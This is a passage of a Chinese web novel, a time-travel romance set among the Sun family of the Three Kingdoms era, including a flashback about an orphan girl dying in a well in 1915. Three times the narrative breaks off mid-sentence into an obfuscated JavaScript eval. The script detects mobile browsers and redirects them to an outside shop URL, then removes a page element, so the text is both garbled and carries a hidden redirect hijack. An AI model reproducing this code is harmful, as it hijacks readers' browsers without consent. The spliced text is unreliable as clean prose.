“民国?!”步一乔再次被剧烈的咳嗽截断,整个人咳得蜷缩起来。 “你看你,”小乔又是心疼又是好笑,轻轻拍着她的背,“再这样,我可真不说了。” “我错了我错了……”步一乔努力平复呼吸,做了个封口的手势,“我保证不插嘴。” “当真?” 步一乔用力点头,眼神里全是催促。 “好吧。”小乔无奈地笑了笑,这才继续说下去。 * 【“小乔”的故事·雪落无声】 * 民国四年。 今年冬天,来得格外早。刚入腊月,北平城就已覆上了一层薄雪。 外面是大学生游行抗议的声音,院子里压抑得可怕。 六岁的梅子蹲在四合院角落的柴房旁,用冻得通红的小手在雪地上画着歪歪扭扭的小鸟。她身上的棉袄打了数不清多少个补丁,袖口已经磨得发亮,但不妨碍她自得其乐。 “一只小鸟,两只小鸟……”她轻声数着,呼出的白气在冷空气中散开。 “死丫头!又偷懒!还不快去把后院的柴劈了!”尖锐的女声从正房传来,是婶婶王氏。 梅子吓得一哆嗦,赶紧起身往院里跑,脚下不慎一滑,小小的身子摔在雪地里。她咬住嘴唇,迅速爬起来,不敢哭出声。 自从去年爹娘死于时疫,梅子就被寄养在叔叔家。叔叔性子懦弱,家里全由婶婶做主。梅子从此成了这个家里多余的人。 她蹒跚着走到柴堆前,拿起几乎与她等高的斧头,一下一下地劈着柴。寒风如刀,刮在她稚嫩的脸上。 “娘,你看傻子劈柴!”八岁的堂哥宝儿在院子里跑跳着,朝她做鬼脸。 “宝儿离她远点,当心她身上的晦气传给你!”王氏赶紧把儿子拉进屋里,“乔家人死光了都怨你!可别把晦气劲儿染给我们!” 梅子姓乔,父亲曾说,他们的祖先,正是三国历史上的二乔。年幼的梅子没亲眼读过史书,不过父亲给她讲了不少三国的故事,她特别喜欢,且记忆深厚。夜深人静时,常望着梁顶回味。 尤其是周瑜。聪明绝世美男,现实中一定有众多姑娘追求爱慕。 梅子低头继续劈柴,眼泪在眼眶里打转,但她强忍着不让它流下来。她记得娘说过,眼泪会冻在脸上,更疼。 傍晚时分,梅子终于劈完了柴,双手已冻得麻木。她走到厨房门口,怯生生地问:“婶婶,我饿了。” 王氏正端着热腾腾的饺子往正房走,瞥了她一眼:“灶上还有半碗粥,喝了赶紧去柴房睡,今晚你叔的生意伙伴要来,别在出来碍眼。” “是。” 乔梅子乖乖走到灶前,捧起那碗已经凉透的稀粥,小口小口地喝着。这时叔叔从外面回来,看见她,犹豫了一下,从怀里掏出一个小小的油纸包。 “梅子,这是——”他刚开口,正房就传来王氏的叫声。 “当家的!磨蹭什么呢?客人都快到了!” “来了来了!” 叔叔叹了口气,把油纸包迅速塞回怀里,摸了摸梅子的头,转身走了。 梅子看见那是一块芝麻糖,她曾经最爱吃的东西。父亲每每哄她,都是一块糖,梅子不舍得一个人吃,便和父亲分着吃。 夜幕降临,乔梅子蜷缩在柴房的草堆里,身上盖着一条薄薄的旧毯子。寒风从墙缝中钻进来,她冻得瑟瑟发抖。 忽然,她听见前院传来一阵嘈杂声和马蹄声,接着是叔叔婶婶惊慌的低语。 “怎么办?他们说咱家藏了乱党……”叔叔的声音颤抖,“这可是砍头的事儿啊!” “要不把那丫头交出去?就说她是乱党留下的孩子。反正咱家也养不起,她也——”王氏提议。 “这怎么行!她是我亲侄女!” “那你想让宝儿也跟着送死吗!” 梅子听不懂“乱党”是什么,但她知道那一定很可怕。何况,她听懂了“砍头”两个字,明白那是什么。 半个月前,广场上才砍了一批年轻,只是因为他们写了什么文章。 她紧紧裹住毯子,屏住呼吸听着。 外面突然响起急促的敲门声,接着是士兵的呵斥和东西被打碎的声音。梅子吓得浑身发抖,悄悄从柴房后的小洞爬了出去,躲进了后院那口废弃多年的枯井里。 这是她偶然发现的秘密基地,井不深,底下有些干草,她有时会躲在这里想念爹娘。 坐在井底,梅子抬头望着那一方星空,想起娘曾经教她念的诗:“床前明月光,疑是地上霜。” 她小声念着,仿佛这样就能驱散恐惧和寒冷。 “举头望明月,低头思……” 不知过了多久,上面的嘈杂声渐渐平息。乔梅子想爬出去,却发现自己浑身滚烫,头晕目眩。她试着站起来,却又软软地倒了下去。 “爹……娘……”她轻声呼唤,意识渐渐模糊,“我好想你们啊……” 第二天清晨,王氏到柴房查看,发现梅子不在。她在后院找到了枯井旁雪地上的小脚印。 “当家的,那丫头好像掉井里了!”她回屋对丈夫说。 叔叔急忙要出去救人,被王氏一把拉住:“疯了吧?!这兵荒马乱的,少一张嘴吃饭不好吗?还给救回来?再说,要是那些兵爷再来要人,交个死人出去吗?” 叔叔颓然坐下,双手捂住了脸。 三天后,一队士兵再次来到这座四合院搜查。王氏赔着笑脸迎上去:“军爷,我们家真的没有藏乱党,就我们一家三口。” 领头的军官锐利的目光在院子里扫视一圈,突然注意到后院那口枯井旁有挣扎的痕迹。 “那口井,查过没有?” 王氏脸色微变:“军爷,那是口废井,多年不用了。” 军官不理她,径直走向后院。他探头往井里一看,脸色顿时变了。 井底,一个小小的身体蜷缩在干草上,雪花飘落,已经在她身上覆了薄薄一层。她脸色青紫,双眼紧闭,早已没了气息。 “这是谁?”军官厉声问。 王氏支支吾吾:“是……是邻居家的傻丫头,前几日走失了,没想到……死这儿了。真晦气。” 军官沉默片刻,挥手让手下把梅子的尸体拉上来。轻飘飘的、毫无生气的身体被放在雪地上,像一片凋零的枯叶。 “算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493156|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,拖到后山的乱葬岗扔了。”军官低声叹道,命令士兵将梅子用草席裹了,抬走。 叔叔站在门口,眼泪终于落了下来。他想起哥哥临终前托付梅子给他的情景,想起自己信誓旦旦的承诺。 “我都干了什么……对不起哥哥……” 王氏却松了口气,转身回屋,对正在玩陀螺的宝儿说:“儿啊,以后没人跟你抢吃的了。” 宝儿抬头,茫然地问:“娘,梅子妹妹去哪了?” 王氏顿了顿,说:“她去找她爹娘了。” “她怎么没跟我们说一声?” “自己走的,要说什么?怎的,你还舍不得?” 宝儿挠了挠脸,说:“我一直以为梅子妹妹是我的童养媳……还挺喜欢的。” 王氏彻底不说话了。 当天夜里,叔叔偷偷出门,在乱葬岗找到了梅子的尸体。他跪在雪地里,从怀里掏出那块已经压碎的芝麻糖,放在她的手里。 刚转身要走,还是狠不下心,将她抱了出来,带到林深之处,挖了坑埋起来。 “梅子,叔对不起你……”他哽咽着,在寒风中哭了许久。 雪花无声飘落,覆盖了脚印,覆盖了血迹。乔梅子静静地躺在土堆下,短暂的一生,草草结束。 年仅六岁。 民国四年的冬天,特别冷。 —————————— 当她再次睁开眼,已是陌生的世界。 床榻边跪着哭成泪人的姑娘,约莫六七岁年纪,以及她身后不断抽泣的男人,和叔叔差不多年纪。 梅子不认识他们,甚至是他们的着装。 “你们……” 见人醒过来,容貌姣好的姑娘立马上前握住她的手,泪水涟涟:“妹妹!妹妹你终于醒过来了!吓死姐姐了……” “姐、姐……?” 陌生的称呼让梅子一阵恍惚。她看向少女身后那位不断拭泪、年纪与她叔叔相仿的中年男子,心底的困惑与不安蔓延开。 在接下来的一个时辰里,她借着“病后恍惚”的由头,在桥府内四处走动、小心探问,再结合父亲曾为她讲述的三国历史……一个个碎片在她脑中拼凑成一个让她心惊肉跳的结论。 “董卓废少帝刘辩,立刘协为帝,改元初平……初平元年?我不是死了吗?” 乔梅子不知道自己为什么到了初平元年,且还保留了民国四年的记忆,以及临死前痛苦的感觉。 不过大乔和桥公待自己极好,她也慢慢接受了这一现实,将之前六年或幸福或痛苦的人生封存在记忆深处。 从此,她只是桥府的小女儿,小乔。 【返回建安四年】 步一乔听完,整个人缩进被子里,哭得上气不接下气。小乔在一旁看着,心里挺不是滋味,只能轻轻拍着她的背。 “对不起……”步一乔从被子里发出闷闷的声音,“你都决定把过去放下了,我还非要让你讲……” “别这么说。”小乔搂住她还在发抖的身子,“能把这些说出来,我心里反而轻松多了。能遇见你,我真的很高兴。能重活一次……已经是我最大的运气了。” 步一乔抬起哭得乱七八糟的脸,带着鼻音开玩笑:“能嫁给周瑜也是吧?” 这话把两个人都逗笑了,她们一边抹眼泪一边笑,又紧紧地抱在了一起。 房门外,周瑜静静地站着。一字不漏听完了一切,他嘴角轻轻一扬,转身悄无声息地离开了。 24. 江天晓 步一乔听到门外细微的动静,心想大概是周瑜,而且他很可能又什么都听到了。 他会告诉孙策吗?应该不会。周瑜是个明白人,知道什么该说什么不该说。 “周瑜人挺好的。”步一乔突然说。 小乔有些意外:“怎么突然说这个?” “其实我不是第一次穿越到这里,之前和他打过几次交道,了解他的为人。” “不是第一次?”小乔很惊讶,“难道可以来回穿越?” “嗯,是教授告诉我的方法。”步一乔说着突然愣住,“等等……教授怎么会知道这些?难道他也穿越过?” 她这才反应过来这个关键问题,连忙把之前和教授的对话都告诉了小乔。 小乔听完想了想:“既然教授知道怎么穿越,也知道怎么改变历史,为什么不自己来呢?” “可能是不想改变历史吧?”步一乔歪着头,“从他临走前对我说的话来看,他虽然敬重孙策,但也认可孙权称帝的结局。” “真复杂……”小乔苦笑着往火盆里添了块炭。 “小乔?” “怎么了?” “要是……”步一乔看了眼门外,“要是周瑜知道了你的来历,你打算怎么办?” “我不说,他怎么会知道?”小乔反问。 步一乔不好意思地抿抿嘴,朝门外抬了抬下巴。小乔不解地起身开门,外面空荡荡的,只有渐渐变小的雪花飘落。 “门外怎么了?” “没什么……就是想透透气。” * 小乔望着床榻上憔悴的步一乔,问:“是想起孙权的事儿了吗?” “啊?” 步一乔回过神。她刚才确实短暂地忘记了,被小乔一提醒,那份纠结又涌上心头。 “那才是真正的历史,我只是个意外闯进来的人。” 小乔一针见血:“刚才吴夫人说的,那个不知家住哪里的心上人,其实是你吧?” 步一乔低下头。她不敢承认,但心里很清楚,说的就是自己。 “既然喜欢,为什么不说清楚?求个明白结果不好吗?” “我?和孙权?那伯符怎么办?” “难道你要委屈自己,放着真心喜欢的人不要,反而和——”小乔突然停住,眯起眼睛盯着步一乔,“你这个花心的女人。” “我没有……” “一边要和孙策将军成亲,一边又放不下孙权,你到底怎么想的?” “我……” 步一乔深吸一口气,“说出来你可能不信……我的理智和本能,完全是相反的。” “什么意思?”小乔听得一头雾水。 “我心里很清楚自己喜欢的是伯符,可是身体……或者说本能?它告诉我,我真正心动的是……他。” 小乔更加困惑:“就只是本能吗?” 步一乔长叹一声:“在伯符面前,我从来不敢放肆,生怕破坏了他心中的形象。可是对孙权……我几乎没和他好好说过几句话。” 小乔想起关键:“你说是因为一场梦才爱上孙策的,能和我说说那个梦吗?” 步一乔便把还记得的梦境片段讲了出来。山林,从天而降的俊美男子,初尝云雨的欢愉,还有那人自称是江东之主,孙家人…… 小乔托着下巴分析:“单从''江东之主''和''孙氏''来看,确实是孙策。但时间呢?如果是建安五年之后,这个人就不一定是他了。” 这句话如同晴天霹雳,步一乔整个人僵在床上,久久不能动弹。 小乔以为她身体不适,赶紧上前试她额头的温度。 这时孙策正好端着三碗驱寒汤进来,每人一碗。 “好些了吗?”孙策在床边坐下,亲自端着碗喂步一乔慢慢喝下。 步一乔咽下汤药,舔了舔嘴唇,勉强露出笑容:“嗯,已经好多了,可以回府了。” “我怕你出去再着凉。” “裹暖和点就没事。而且府里的床更舒服些。” “好吧,都依你。” * 她需要换个安静的地方,好好理一理思路。小乔的话一直在她脑子里打转。 那个梦,究竟是发生在建安五年之前,还是之后? 又或者,那根本就不是梦? 她仔细回想:棺椁、坠井、小乔的“身亡”,这三次穿越,每一次都和“死亡”脱不开关系。而当年,她正是在一座墓碑旁睡着后才做了那个梦。 有没有可能,当时自己其实是穿越了?去到了建安年间的某个时候,真的遇见了他? “所以那不是春梦……是真的‘初夜’?” 步一乔忍不住苦笑。自己真是病糊涂了,连这种异想天开的想法都能冒出来。更离谱的是,她心底居然隐隐觉得,那个人就是他。 “都怪孙权……都是他的错……” 搞得人智商都掉线了。 回程的马车上,步一乔昏昏沉沉地靠在孙策肩头,突然没头没脑地冒出这么一句。 孙策一脸困惑,问:“仲谋?他做什么了?” “他欺负我……”步一乔委屈地嘟囔,“他就知道欺负我……都不去欺负别人……” 孙策目光一沉,低头看着步一乔烧得通红的脸,心情复杂。 同车的小乔目睹这一幕,只能在心里默默祈祷:一乔啊,你可千万别再说话了。 * 听说马车回到府外,吴夫人连忙出来查看。 “怎地回来了?哎哟,这烧得滚烫,快扶去房里好生歇着。” 孙策用披风将步一乔严严实实裹好,扶她下车。见她脚步虚浮、身子发软,再不顾及旁人目光,直接将她打横抱起,稳步向内室走去。 “我没事……自己能走……” “不动,”他臂弯收紧,“好好歇着吧。” 他怀抱的温暖让她最后一层心防也瓦解了。步一乔将发烫的脸颊埋在他颈窝,滚烫的泪水无声滑落。 “对不起,伯符……对不起……”她哽咽着,意识模糊间,心底最深的愧疚脱口而出,“是我太风流……我配不上你……我就是个垃圾……” 孙策的心顿时五味杂陈。 他听见了“仲谋”,此刻又听见这般清晰的自我剖白……会是脑海中一闪而过的那样吗?一乔与仲谋……不会,仲谋不会做这种事,她也不会。 他告诉自己,不能当真,这是病中胡话。若在此刻追问,他与那些趁人之危的小人有何区别? 于是他抱紧她的手臂又紧了紧,下颌轻轻蹭过她滚烫的额头,仿佛真的什么都没听见,只沉声安抚: “别说了,好好睡一觉,我在这儿。” 步一乔在他安稳的怀抱和心跳声中,终于沉沉睡去。孙策稳步走向卧房,面色沉静,唯有紧抿的唇线,泄露了他内心的波澜。 * 年三十守岁,步一乔强撑着与众人同在长街观赏烟火。孙策一路搀扶,再三劝她回房,她却执意不肯。 “大年三十这么热闹,待在屋里怎么睡得着?” 孙策无奈,替她拢紧披风,轻声叮嘱:“若是不适,切莫逞强。” 她笑着应下,余光瞥见却一抹望着自己的目光,侧目望去,是孙权。 孙权就站在她身侧,不过一步之遥。谢姑娘在他身旁言笑晏晏,可他的眼神却如沉静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501648|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深海,穿越绚烂烟火,只映出她一人苍白的身影。 步一乔心头一颤,下意识地想避开这太过直白的注视,那目光却像一张温柔的网,将她牢牢缚住,让她无处可逃,也……不愿逃。 身边站着的是名义上本该最亲密的人,灵魂却隔着人海在无声地嘶喊。孙权放在身侧的手几不可察地蜷缩了一下,仿佛用尽了全部力气,才克制住没有向她伸出手。 “孙……” 步一乔张了张嘴,名字却卡在喉咙里。一阵剧烈的眩晕袭来,她脚下发软,整个世界瞬间天旋地转。 “一乔!”孙策吓得惊呼,有力的臂膀立刻将她紧紧扶住“都说让你回房休息的,偏要犟。” “我……”步一乔只觉得呼吸越来越急,额头烫得厉害。 “头好晕……” 话没说完,她腿一软就往地上倒。幸好孙策动作快,一把将她接住,赶紧送回了房间。 在意识彻底模糊的前一刻,她最后看到的,仍是孙权那双瞬间写满惊惶与心痛的眼睛,以及他下意识向前迈出的半步。 可千万别来啊……万不可暴露了这段私情……可是…… 想要触碰他的心,为何如此迫切? * 高烧愈重。大夫严令卧床静养,绝不可再受风寒。 早晨,侍女端来刚熬制好的药和温清水。 “姑娘,喝点水吧。” “谢谢……” 今天是大年初一,按江东风俗,孙家人这一天可有得忙了。孙策本想留下来照顾她,被步一乔好说歹说劝走,留了个侍女照看。 “唉,头好晕……好想来包抗病毒冲剂啊……再这样烧下去真要没命了……咳、咳……” 步一乔迷迷糊糊地望着房梁。 “太倒霉了……在古代得个感冒会死人的啊……为啥刚穿过来就——” 她突然猛地坐起身。 “等等……这次的时间线,好像比之前任何一次都早,为什么……” 为什么孙权每一次都记得她? 正当沉思,房门被猛地推开。带着寒气的男子喘息未定,四目相对间,恍如昨夜烟火下的缠绵。 “孙权?你怎么没去——” 他反手关门落栓,瞬息间已至榻前,不由分说将她虚弱的身子拥入怀中。 “我在生病呢,快离我远点,会传染……” “谢姑娘邀我至凉亭商议婚事,”他沉声打断,“我只说了几句便离开,并未停留。” 步一乔怔住:“你……特来告知此事?” 孙权收紧手臂,灼热的气息拂过她耳畔。 “我回绝了。告诉她,我早有心上人。无论过去多少年,无论她装作失忆或心属他人……我心里,从来只有她。” 他炽热的手掌紧贴着她的后背,剧烈跳动的心脏隔着衣料撞击着她的感知。 窗棂被风吹得轻响。 步一乔心中却异常平静。 “那日在街上,徐姑娘是想给母亲……与你,挑选发簪作为赠礼,母亲便让我陪同前往。” 他始终抱着她,力道不减。 “我说过的,除了你,不会娶任何你。我只想你,做我的夫人。” “倘若我死了呢?离开了,不在这个世间呢?” “那我便和你一起。”孙权深吸一口气,“哪怕是棺椁,也要与你同穴而眠。” 步一乔的眼眶骤然湿润。 所有理智的权衡,对历史的畏惧,在此刻孤注一掷的深情面前,都显得苍白无力。 她伸出手,同样用力地回抱住他。 “好啊,正月初一……择日不如撞日,就今天吧。” 25. 窥不真 “正月初一,黄道吉日。又是建安五年……”步一乔烧得神志不清,唇间溢出断续的呓语。 孙权尚沉浸在她那句“择日不如撞日”中,未及回神,又被她后续混乱的语句惊醒。他连忙扶住她肩头细看,人已彻底烧糊涂了,双眸半阖,气息滚烫,额间沁出细密的冷汗。 “一乔?!” 怎会病得如此之重? 孙权扶她躺平,为她掖紧被角,手背轻贴她滚烫的颊。 一人在病中辗转,一人在床边焦灼,两双手紧紧交握,却僵持在各自的困境里,动弹不得。 “冷……” “冷?”孙权环顾四周,炉中炭火未熄, 是否该以身为她取暖?像从前那些同榻而眠的夜晚一般。 他素来果决,念头既起,便解开外袍覆于被上,正要掀被躺下—— 门外却传来熟悉的脚步声。 是兄长!他竟在此时归来! 孙权慌忙抽回外袍,夺门已迟,只得闪身藏入屏风之后的阴影里。 孙策推门而入,步履轻捷。见步一乔满面潮红、气息急促地蜷在榻上,眼底顿时盈满心疼。 “想你一人受难,我也心焦得难受,便回来陪陪你。” 孙策他往炉中添了新炭,室内暖意渐浓。又命人煎来驱寒汤药,亲手扶起她,一勺一勺耐心喂下。 “伯符……我是不是……快死了……” “大年初一,不说晦气话。”他低声斥道,语气却温柔,“明日便会好转,别怕。” “想喝……抗病毒……冲剂……” 孙策未听清她含糊的请求,宽厚的掌心轻轻抚摸着步一乔的头。目光始终凝在她脸上,直至她呼吸渐稳,才缓缓舒出一口气。 “傻姑娘,该是我拼尽一切护你周全才对。” 他从不信鬼神,亦不信来世。他信的是当下,是此生,是亲手打下江东、问鼎天下的霸业。 本该如此。 直到那日在桥府初见,她静立人群之末,稍不注意便会错过。可那一眼,却如唤醒前世记忆,熟悉得心惊,心动得恍惚。仿佛在某个湮灭的年月里,她曾救他于危难,而此生,他注定要以一生回报。 “一乔,待你病愈,我们便成亲吧。” 步一乔在昏沉中听清了孙策的话,却无法回应。即便意识模糊,她也清楚:不能答应。她这般不贞之人,若嫁与江东之主,孙策的威仪何存?孙家的颜面何存? 若建安五年的命劫重演,她仍救不下孙策……那未来的江东,便是孙权的天下。 难道嫁予孙权,便能解脱么? 理智与本能再度撕扯,她几乎想揪出魂魄逼问:你心中所念,究竟是伯符,还是仲谋? 当初周瑜问自己的话,时至今日仍旧得不出答案。 或说,有答案,却说不出口。 屏风之后,孙权将一切尽收眼底,胸中如沸。 一个未曾成熟的念头,悄然在心底成形。 可这计划于她……太过自私。 “嫂嫂……” 他在心中默念,齿间几乎咬出血痕。 “我不要你做我嫂嫂。” 你该是我的夫人才对。 * 许是孙策照料得太过周全,不出三日,步一乔的病已好了大半,只余几声轻咳,手炉仍不敢离身。 正月初四。明日,是原定的婚期。 孙策不愿步一乔强撑着身子,义无反顾延期了婚事。 堂屋内,步一乔跪坐席间,身侧是孙策,一列望去尽是孙家长辈。 她不知今日为何齐聚于此,人人神色肃穆,坐姿端正,唯她如坐针毡。 对面席位全然空着,似在等待什么重要之人。 步一乔没瞧见孙权,似是方才吴夫人命他去门外接什么人。 “伯符,”她倾身低语,“今日究竟所为何事?为何只静坐不语?” “今日是与谢氏商议仲谋的婚事。” 原来如此。 步一乔默默坐直,垂眸凝视地板上蜿蜒的木纹。 她不敢思,不敢想,只能强迫自己放空。 否则……不知会失态成何等模样。 这时代男子三妻四妾实属平常,她向往的一生一世一双人,终究痴妄。 不!我本就不愿嫁他!他孙仲谋娶谁,与我何干!说什么惟愿与我相守,可父母之命在前,岂容他自作主张? 说好不多想,思绪却如潮涌。她唇线紧抿,面色渐沉,生怕下一刻便要失控。或是厉声斥责,或是泪洒当场。 孙策察觉身侧异样,指背轻触她手炉试温,又为她拢了拢披风。 “可还撑得住?我陪你回房歇息?” 步一乔摇头,强扯笑意:“无妨。既是喜事……我想亲眼见证。” 孙策轻笑:“仲谋尚不知情。母亲怕他执意不肯,特意瞒至今时。” “他竟不知今日是为他议婚?!” “若知晓,岂会顺从?”孙策言之凿凿,“拒婚多年,母亲也是不得已。” 步一乔默然,心头竟掠过一丝隐秘的雀跃。 门外脚步声渐近,吴夫人率先起身,众人随之相迎。 谢氏族人依次入内落座。步一乔目光掠过众人,最终定格在末位的孙权与谢姑娘脸上。 他显然已明白今日之局,面若寒霜,眸底隐有怒意翻涌。 日光从他身后漫入,在堂前地板上投下道修长僵硬的影子。他目光先掠过满堂长辈,最终落在兄长身侧步一乔沉静的侧颜。 他只停顿了一息,便撩袍步入,向长辈们行礼,姿态无可挑剔,唯有紧抿的唇角泄露出半分隐忍,而后于步一乔对面落座。 议婚的流程繁琐而庄重。双方长辈依照古礼,交换庚帖,商议聘礼、吉日,言辞间皆是门当户对的满意。孙策偶尔插言几句,无外乎“仲谋成家立业,吾心甚慰”。 步一乔垂着眼,指尖在手炉上无意识地摩挲,那些古人繁琐刻板的话似远又近,字字清晰,却又模糊得如同隔着一层水雾。 她能感受到一道目光,沉甸甸地压在她身上。 不必抬头,也知来自何人。 这样也好。那些不见天光的情愫,本就不该存在。他终将迎娶谢姑娘,而后是更多门当户对的女子…… 越想越烦。她几乎想立刻找个借口逃离此地。 吴夫人含笑开口:“谢公,我瞧仲谋与令嫒正是良配。今日既是商议婚事,不若就将吉期定在正月……” 步一乔盯着地上的砖缝,清晰感到对面那道目光愈发灼热,几乎在无声地命令她抬头。 可她不敢。 怕一眼望去,便会沉入他深不见底的眸中,怕心一软,便生出不该有的勇气,做出什么惊世骇俗的事来。 一乔……一乔…… 原来眼睛真的会说话。 她终究没能忍住,悄悄抬眸,直直撞进对面那双沉着暗火的眼里。孙权眉头微蹙,无声地诉说着只有她能懂的话语。 你为何在此?你早知道今日是商议我的婚事?孙权问。 我不知。步一乔答。 孙权眉宇稍展,目光掠过她身旁的孙策,又回到她脸上。 我说过,此生惟愿与你结为夫妻。此约既立,至死不变。 步一乔慌忙垂眸,不敢再看。 手炉不知何时凉了下去。她轻轻打了个寒颤,眼底泛起细微的酸意。 这等半猜半真的情话,竟也能出生些令人害羞的心动来。 步一乔肯定自己必是发烧时,把脑子烧坏了。 吴夫人仍在说着聘礼事宜,孙策微微颔首表示赞同。没有人注意到这对男女在众目睽睽之下的无声交锋。 孙权身边坐着的是他名正言顺的未婚妻,谢氏贵女,温婉娴静。 步一乔身边坐着的是她即将礼成的未婚夫,江东之主,英姿勃发。 位置正确,秩序井然,一切都符合礼法与期望。 * “下月初八便是黄道吉日。”谢氏族老抚须应和。 衣料窸窣声响起,步一乔余光瞥见孙权起身,走到堂中郑重跪坐。 “母亲,谢公。” 孙权声音平稳,却让步一乔脊背发凉。他从来都用这种语气说最忤逆的话。 她终于抬眼,望向孙权毅然决然的目光。那双总是沉静的眼眸,此刻翻涌着太多不该出现的情绪,尤其孤注一掷的疯狂。 他在用眼神告诉她:他要说了。就在此刻,向所有人坦白他们的关系。 不行!绝不可以! 步一乔在袖中死死掐住掌心。 若他此刻坦白,不仅会彻底激怒孙策,更会让整个孙氏蒙羞。那些说不清道不明的情愫,都将成为刺向孙家颜面的利刃。 届时乱的何止是孙氏,整个江东都要震动! 她看见孙权薄唇微启—— “不可以!” 清亮的声音划破堂内寂静,连步一乔自己都吓了一跳。所有目光瞬间聚焦在她身上。 步一乔强迫自己稳住呼吸,起身向着上座深深一礼:“谢姑娘金枝玉叶,婚期仓促恐失了礼数。听闻三月后另有吉日,更宜婚嫁。” 脑子是个好东西,为何步一乔总是弄丢了呢? 她说着冠冕堂皇的理由,眼角余光却紧紧锁住孙权,生怕他癫狂得厉害,不顾一切杀出重围。 他仍站着,目光复杂地凝视着她,那里面有惊讶,有不甘,还有一丝被阻拦的愠怒。 似乎在问:你怎可说出这等话? 气氛霎时微妙。 “一乔说得在理。”孙策忽然开口,打破僵局,“婚姻大事,确实不宜操之过急。” 步一乔暗暗松了口气,却听见孙权低沉决绝的声音响起: “母亲,关于这门亲事,儿子……” “孙将军!” 步一乔急急打断,在众人讶异的目光中端起羽觞。 “我虽与谢姑娘相识不久,但一眼便觉二位天造地设。若能喜结连理,是孙氏开年第一喜事,想必也能为江东霸业添一份喜气……” 我在说什么呢?我在说什么蠢话呢? 步一乔慌得重重吞咽,端觞的手颤了一下。 她迎着他的目光,轻轻摇头。恳求、警告,还有那个无法说出口的承诺,都凝在这一眼里。 孙权凝视着她,薄唇紧抿成线。 步一乔强撑笑意,将羽觞举高几分:“孙将军年少有为,谢姑娘贤良淑德,必成江东佳话。我……先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16504281|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬二位一杯。” 吴夫人闻言,眉眼舒展,笑意盈盈地看向步一乔,目光中满是赞许。 “一乔此言甚善!识大体,顾大局,真乃我孙家之幸。” 她心情极佳,转而望向满堂宾客,声音清亮愉悦。 “看来今年真是双喜临门!伯符与一乔佳期在前,仲谋与谢氏良缘在后,我孙氏一门两桩喜事,今年必有天大的吉兆,佑我江东!” “恭喜吴夫人!贺喜孙将军!”堂内顿时贺声一片,喜庆的气氛瞬间冲淡了方才那点微不足道的异样。 步一乔在这片贺喜声中,强撑着脸上的笑意,将杯中酒一饮而尽。 酒液辛辣,一路灼烧至胃底,却压不住心头的冰凉。 她能感觉到,那道来自堂中的目光并未移开,反而更加沉甸,带着几乎要将她穿透的力道。 孙策轻轻握住她垂在袖下的手,低声道:“脸色怎么这般白?可是又不适了?” 步一乔勉强摇头,挤出一个苍白的笑:“无妨,只是……酒有些烈。” 宴席在看似和乐的氛围中继续。步一乔却如坐针毡,每一刻都是煎熬。 当孙权最终垂下眼眸,沉默地坐回席位时,她非但没有感到轻松,反而清晰地预感到,他绝不会就此罢休。 果然,酒过三巡,众人稍显放松之际,孙权悄然离席,身影消失在通往侧厅的廊道转角。 片刻后,侍从悄无声息地来到步一乔身边,为她斟酒的同时,极快地低语了一句:“姑娘,二公子请您偏厅一叙,说有要事相问。” 她下意识地看向身侧的孙策,他正与吴夫人说话,并未留意。 该来的,终究躲不掉。 步一乔指尖微颤,深吸一口气,对身旁的孙策轻声道:“伯符,我有些头晕,想去廊下透透气。” 孙策关切道:“我陪你回房歇息?” “不必,只是酒的缘故,我出去吹吹风便好。” “莫要走远,早些回来。” 她起身,拢了拢衣袖,在满堂的欢声笑语中,一步步走向那寂静无人的偏厅。 她知道,廊道尽头等待她的,将是一场无法回避的狂风暴雨。 孙权会做什么?这等关头他敢做什么? 他什么不敢,他可什么都做得出的。 刚踏出厅门,寒风拂面,却未能吹散她心头的燥热。步一乔沿着廊庑走向偏厅,身后忽然传来轻柔又急切的女声: “乔姐姐!请留步!” 步一乔心头猛地一坠。 是谢姑娘!难道……刚才她与孙权那番无声的交锋,到底被这心思细腻的未婚妻察觉了? 她僵硬地转身,脸上努力挤出一个得体的微笑:“谢姑娘,有事?” 谢姑娘快步走到她面前,脸颊因微醺和激动泛着红晕,清澈的眼眸里没有丝毫怀疑,只有待嫁少女的羞涩与不安。 她亲昵地拉住步一乔的手。 “乔姐姐,我……我心里慌得很,见你出来,便想同你说说话。” 步一乔愣住,任由那双温热的手握着,心头滋味难辨。 “我……我自知不如姐姐这般大方得体,方才在堂上,见你那般从容周旋,真是羡慕。” 谢姑娘垂着眼,声音愈发轻了。 “想到日后要嫁入孙府,要与……与他相伴,我便手足无措。可是,” 她抬起眼,眼中闪烁着纯粹的光亮。 “我是真心欢喜仲谋的。自那年上巳节远远见过他一面,便……再难忘怀。能嫁给仲谋,我当真开心得很。” 